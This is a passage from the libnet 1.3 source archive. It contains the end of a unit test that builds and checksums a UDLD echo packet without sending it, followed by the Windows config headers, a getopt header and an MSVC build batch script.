assert_int_not_equal(udld_device_name_ptag, (-1)); udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + strlen(device_name_str)); /* Build UDLD Timeout Interval TLV */ const uint8_t timeout_interval = 5; udld_timeout_interval_ptag = libnet_build_udld_timeout_interval(&timeout_interval, l, 0 ); assert_int_not_equal(udld_timeout_interval_ptag, (-1)); udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + sizeof(uint8_t)); /* Build UDLD Message Interval TLV */ const uint8_t message_interval = 7; udld_message_interval_ptag = libnet_build_udld_message_interval(&message_interval, l, 0 ); assert_int_not_equal(udld_message_interval_ptag, (-1)); udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + sizeof(uint8_t)); /* Build UDLD Echo TLV */ const uint8_t echo_id_pairs[] = {0x00, 0x00, 0x00, 0x01, 0x00, 0x0b, 0x46, 0x4f, 0x43, 0x31, 0x30, 0x33, 0x31, 0x5a, 0x37, 0x4a, 0x47, 0x00, 0x05, 0x47, 0x69, 0x30, 0x2f, 0x31}; udld_echo_id_tlv_ptag = libnet_build_udld_echo(echo_id_pairs, LIBNET_TEST_ARRAY_LENGTH(echo_id_pairs), l, 0 ); assert_int_not_equal(udld_echo_id_tlv_ptag, (-1)); udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + sizeof(echo_id_pairs)); /* Build UDLD Port ID TLV */ const char *port_id_str = "Fa0/1"; udld_port_id_tlv_ptag = libnet_build_udld_port_id((const uint8_t *)port_id_str, strlen(port_id_str), l, 0 ); assert_int_not_equal(udld_port_id_tlv_ptag, (-1)); udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + strlen(port_id_str)); /* Build UDLD Device ID TLV */ const char *device_id_str = "FOC1025X4W3"; udld_device_id_tlv_ptag = libnet_build_udld_device_id((const uint8_t *)device_id_str, strlen(device_id_str), l, 0 ); assert_int_not_equal(udld_device_id_tlv_ptag, (-1)); udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + strlen(device_id_str)); assert_int_equal(udld_payload_size, 76); int flags = 0; udld_ptag = libnet_build_udld_hdr( LIBNET_UDLD_PDU_VERSION, /* version */ LIBNET_UDLD_PDU_OPCODE_ECHO, /* opcode */ flags, /* flags */ 0, /* checksum */ NULL, /* payload*/ 0, /* payload_s */ l, /* libnet context */ 0 /* libnet ptag */ ); assert_int_not_equal(udld_ptag, (-1)); /* Build IEEE 802.2 snap LLC */ uint8_t OUI[3] = LIBNET_UDLD_OID; ieee_802_2_llc_ptag = libnet_build_802_2snap(0xAA, /* DSAP */ 0xAA, /* SSAP */ 0x03, /* Control */ OUI, /* OUI */ LIBNET_UDLD_HDLC_PROTO_TYPE, /* Type */ NULL, /* Payload */ 0, /* Payload_s */ l, 0 ); assert_int_not_equal(ieee_802_2_llc_ptag, (-1)); /* Build IEEE 802.3 */ uint8_t udld_dst_mac[6] = LIBNET_UDLD_DEST_MAC; uint8_t udld_src_mac_dummy[6] = { 0x00, 0x19, 0x06, 0xEA, 0xB8, 0x81 }; ieee_802_3_ptag = libnet_build_802_3(udld_dst_mac, /* ethernet destination */ udld_src_mac_dummy, /* ethernet source */ LIBNET_802_2SNAP_H + /* */ LIBNET_UDLD_H + udld_payload_size, /* */ NULL, /* payload */ 0, /* payload size */ l, /* libnet context */ 0 ); assert_int_not_equal(ieee_802_3_ptag, (-1)); /** * Assembly packet. * Verify checksum correctness. * */ { uint8_t *packet = NULL; uint32_t packet_length = 0; int rv = (-1); /* like libnet_write but only assembly packet, NOT sending it to the network */ rv = libnet_pblock_coalesce(l, &packet, &packet_length); assert_int_not_equal(rv, UINT32_MAX); struct libnet_udld_hdr *udld_hdr = (struct libnet_udld_hdr *)(packet + (LIBNET_802_3_H + LIBNET_802_2SNAP_H)); const uint32_t expected_checksum = 0x805d; assert_int_equal(htons(udld_hdr->checksum), expected_checksum); } libnet_destroy(l); } int main(void) { const struct CMUnitTest tests[] = { cmocka_unit_test(libnet_udld__checksum_calculation), cmocka_unit_test(libnet_build_udld__pdu_header_only), cmocka_unit_test(libnet_build_udld__tlv_device_id), cmocka_unit_test(libnet_build_udld__tlv_port_id), cmocka_unit_test(libnet_build_udld__tlv_echo), cmocka_unit_test(libnet_build_udld__tlv_message_interval), cmocka_unit_test(libnet_build_udld__tlv_timeout_interval), cmocka_unit_test(libnet_build_udld__tlv_device_name), cmocka_unit_test(libnet_build_udld__tlv_sequence_number), cmocka_unit_test(libnet_build_udld__build_whole_packet_with_checksum), }; return cmocka_run_group_tests(tests, NULL, NULL); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/win32/0000775000175000017500000000000014506572036012020 5ustar syqsyqlibnet-1.3/win32/Makefile.am0000664000175000017500000000006714506572036014057 0ustar syqsyqEXTRA_DIST = getopt.h libnet.h config.h msvcbuild.bat libnet-1.3/win32/config.h0000664000175000017500000000506314506572036013442 0ustar syqsyq/* win32/config.h Originally generated from configure.in by autoheader. */ /* Static win32 config.h, copied into include/ by msvcbuild.bat when building without autotools. */ #undef LIBNET_BSD_BYTE_SWAP #undef DLPI_DEV_PREFIX #undef HAVE_DEV_DLPI #undef HAVE_SOLARIS #undef HAVE_SOLARIS_IPV6 #undef HAVE_HPUX11 #undef HAVE_SOCKADDR_SA_LEN #undef HAVE_DLPI #undef HAVE_STRUCT_IP_CSUM #undef HAVE_LIB_PCAP #undef STUPID_SOLARIS_CHECKSUM_BUG #undef _BSD_SOURCE #undef __BSD_SOURCE #undef _DEFAULT_SOURCE #undef __FAVOR_BSD #undef LIBNET_BIG_ENDIAN #define LIBNET_LIL_ENDIAN 1 /* Define to 1 if you have the header file. */ #undef HAVE_INTTYPES_H /* Define to 1 if you have the `nsl' library (-lnsl). */ #undef HAVE_LIBNSL /* Define to 1 if you have the `packet' library (-lpacket). */ #undef HAVE_LIBPACKET /* Define to 1 if you have the `socket' library (-lsocket). */ #undef HAVE_LIBSOCKET /* Define to 1 if you have the `wpcap' library (-lwpcap). */ #undef HAVE_LIBWPCAP /* Define to 1 if you have the header file. */ #undef HAVE_MEMORY_H /* Define to 1 if you have the header file. */ #define HAVE_NET_ETHERNET_H 1 /* Define to 1 if you have the header file. */ #undef HAVE_STDINT_H /* Define to 1 if you have the header file. */ #undef HAVE_STDLIB_H /* Define to 1 if you have the `strerror' function. */ #define HAVE_STRERROR 1 /* Define to 1 if you have the header file. */ #undef HAVE_STRINGS_H /* Define to 1 if you have the header file. */ #undef HAVE_STRING_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_BUFMOD_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_DLPI_EXT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_SOCKIO_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_STAT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TYPES_H /* Define to 1 if you have the header file. */ #undef HAVE_UNISTD_H /* Name of package */ #undef PACKAGE /* Define to the address where bug reports for this package should be sent. */ #undef PACKAGE_BUGREPORT /* Define to the full name of this package. */ #undef PACKAGE_NAME /* Define to the full name and version of this package. */ #undef PACKAGE_STRING /* Define to the one symbol short name of this package. */ #undef PACKAGE_TARNAME /* Define to the version of this package. */ #undef PACKAGE_VERSION /* Define to 1 if you have the ANSI C header files. */ #undef STDC_HEADERS libnet-1.3/win32/getopt.h0000664000175000017500000000527414506572036013503 0ustar syqsyq/* $NetBSD: getopt.h,v 1.4 2000/07/07 10:43:54 ad Exp $ */ /* $FreeBSD$ */ /*- * Copyright (c) 2000 The NetBSD Foundation, Inc. * All rights reserved. * * This code is derived from software contributed to The NetBSD Foundation * by Dieter Baron and Thomas Klausner. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifndef _GETOPT_H_ #define _GETOPT_H_ #include /* * GNU-like getopt_long()/getopt_long_only() with 4.4BSD optreset extension. * getopt() is declared here too for GNU programs. */ #define no_argument 0 #define required_argument 1 #define optional_argument 2 struct option { /* name of long option */ const char *name; /* * one of no_argument, required_argument, and optional_argument: * whether option takes an argument */ int has_arg; /* if not NULL, set *flag to val when option found */ int *flag; /* if flag not NULL, value to set *flag to; else return value */ int val; }; __BEGIN_DECLS int getopt_long(int, char * const *, const char *, const struct option *, int *); int getopt_long_only(int, char * const *, const char *, const struct option *, int *); #ifndef _GETOPT_DECLARED #define _GETOPT_DECLARED int getopt(int, char * const [], const char *); extern char *optarg; /* getopt(3) external variables */ extern int optind, opterr, optopt; #endif #ifndef _OPTRESET_DECLARED #define _OPTRESET_DECLARED extern int optreset; /* getopt(3) external variable */ #endif __END_DECLS #endif /* !_GETOPT_H_ */ libnet-1.3/win32/libnet.h0000664000175000017500000000711414506572036013451 0ustar syqsyq/* * $Id: libnet.h,v 1.7 2004/01/03 20:31:00 mike Exp $ * * libnet.h - Network routine library header file for Win32 VC++ * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #ifdef _WIN32 #ifndef __LIBNET_H #define __LIBNET_H #include #include #include #include "pcap.h" #ifdef __cplusplus extern "C" { #endif /* __WIN32__ is NOT a predefined MACRO, use _WIN32 * __CYGWIN__ is defined within the cygwin environment. */ #ifndef __WIN32__ #define __WIN32__ _WIN32 #endif #define LIBNET_LIL_ENDIAN 1 #define HAVE_CONFIG_H 1 /* TODO Definitions and includes below should be in a private header, libnet src needs them, libnet library users don't (and they have negative side effects). */ /* Some UNIX to Win32 conversions */ #define snprintf _snprintf #define strdup _strdup #define write _write #define open _open #define random rand #define close closesocket #define __func__ __FUNCTION__ #ifndef _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #endif /* __FUNCTION__ available in VC ++ 7.0 (.NET) and greater */ #if _MSC_VER < 1300 #define __FUNCTION__ __FILE__ #endif /* the following is only supported by MSVC and not by MinGW/MSys environments */ #ifdef _MSC_VER #pragma comment (lib,"ws2_32") /* Winsock 2 */ #pragma comment (lib,"iphlpapi") /* IP Helper */ #pragma comment (lib,"wpcap") /* Winpcap */ #pragma comment (lib,"packet") #include typedef SSIZE_T ssize_t; #else #include #endif /* FIXME this needs manual update during release packaging. */ #define LIBNET_VERSION "1.1.6" /* To use Win32 native versions */ #define WPCAP 1 #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include #include #include #include #include #include #include #include #include #include #include #define LIBNET_API __declspec(dllexport) #include "libnet/libnet-macros.h" #include "libnet/libnet-headers.h" #include "libnet/libnet-structures.h" #include "libnet/libnet-asn1.h" #include "libnet/libnet-functions.h" #ifdef __cplusplus } #endif #endif /* __LIBNET_H */ #endif libnet-1.3/win32/msvcbuild.bat0000664000175000017500000000645414506572036014511 0ustar syqsyq@echo off @rem Script to build libnet with MSVC. @rem Dependencies are: @rem Npcap SDK in ..\npcap-sdk @rem @rem Helpful links for non-Windows users: @rem https://github.com/microsoft/vswhere/wiki/Find-VC#batch @rem https://renenyffenegger.ch/notes/Windows/dirs/Program-Files-x86/Microsoft-Visual-Studio/version/edition/Common7/Tools/VsDevCmd_bat @rem https://renenyffenegger.ch/notes/Windows/development/Visual-Studio/environment-variables/index :start for /f "usebackq tokens=*" %%i in (`vswhere -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath -nologo`) do ( set InstallDir=%%i ) if not exist "%InstallDir%\Common7\Tools\VsDevCmd.bat" (goto fail) @rem Set up common files, paths, and envs @for /f "delims=-" %%V in ('type VERSION') do set VERSION=%%V @rem relative to C code in src/ @set NPCAP=..\..\npcap-sdk copy win32\*.h include\ cd src @if "%1" == "" goto x86 @setlocal @set userinput=%1 @if "%1"=="x86" goto x86 @if "%1"=="x64" goto x64 @if "%1"=="x86_64" goto x86_64 @if "%1"=="x86_x64" goto x86_64 goto usage @endlocal :x86 call "%InstallDir%\Common7\Tools\VsDevCmd.bat" -arch=x86 set PCAPLIB=%NPCAP%\Lib set PCAPINC=%NPCAP%\Include set OBJDIR=win32 set LIBDIR=..\lib\x86 goto msvcbuild :x64 call "%InstallDir%\Common7\Tools\VsDevCmd.bat" -arch=x64 set PCAPLIB=%NPCAP%\Lib\x64 set PCAPINC=%NPCAP%\Include set OBJDIR=win64 set LIBDIR=..\lib\x64 goto msvcbuild :x86_64 call "%InstallDir%\Common7\Tools\VsDevCmd.bat" -arch=amd64 set PCAPLIB=%NPCAP%\Lib\x64 set PCAPINC=%NPCAP%\Include set OBJDIR=win64 set LIBDIR=..\lib\x86_64 goto msvcbuild :msvcbuild @echo on @setlocal @set CC=cl /nologo /MD /MP /O2 /W4 /c /D_CRT_SECURE_NO_DEPRECATE /Fo%OBJDIR%\ @set LD=link /nologo @set MT=mt /nologo @mkdir %OBJDIR% %LIBDIR% %CC% /I..\include /I%PCAPINC% libnet_a*.c libnet_build_*.c libnet_c*.c libnet_dll.c libnet_error.c libnet_i*.c libnet_link_win32.c libnet_p*.c libnet_raw.c libnet_resolve.c libnet_version.c libnet_write.c if %errorlevel% == 0 goto :link @echo "Failed building, error %errorlevel%" exit /b %errorlevel% :link %LD% /dll /version:%VERSION% /libpath:%PCAPLIB% /out:%LIBDIR%\libnet.dll %OBJDIR%\*.obj Advapi32.lib if %errorlevel% == 0 goto :sign @echo "Failed linking, error %errorlevel%" exit /b %errorlevel% :sign if exist libnet.dll.manifest^ %MT% -manifest libnet.dll.manifest -outputresource:libnet.dll;2 dir %LIBDIR% cd .. exit /b %errorlevel% :usage echo Invalid option "%*". The correct usage is: echo %0 [option] echo : echo where [option] is: x86 ^| x64 ^| x86_x64 echo : echo The script will verify and set the appropriate environment variables. echo If no options are provided, x86 is assumed. echo : echo Usage examples: echo %0 x86 echo %0 x64 echo %0 x86_x64 echo : echo If your build computer is 32-bit and you want to build for 64-bit echo (aka Cross), choose "x86_x64" echo : echo Please make sure Visual Studio or the C++ Build SKU is installed, echo and that this script is executed from a Developer Command Prompt. echo : goto end :fail echo Visual Studio or the C++ Build SKU do not seem to be installed. echo Please Install either of them or try to executed this script echo from a Developer Command Prompt. goto end :end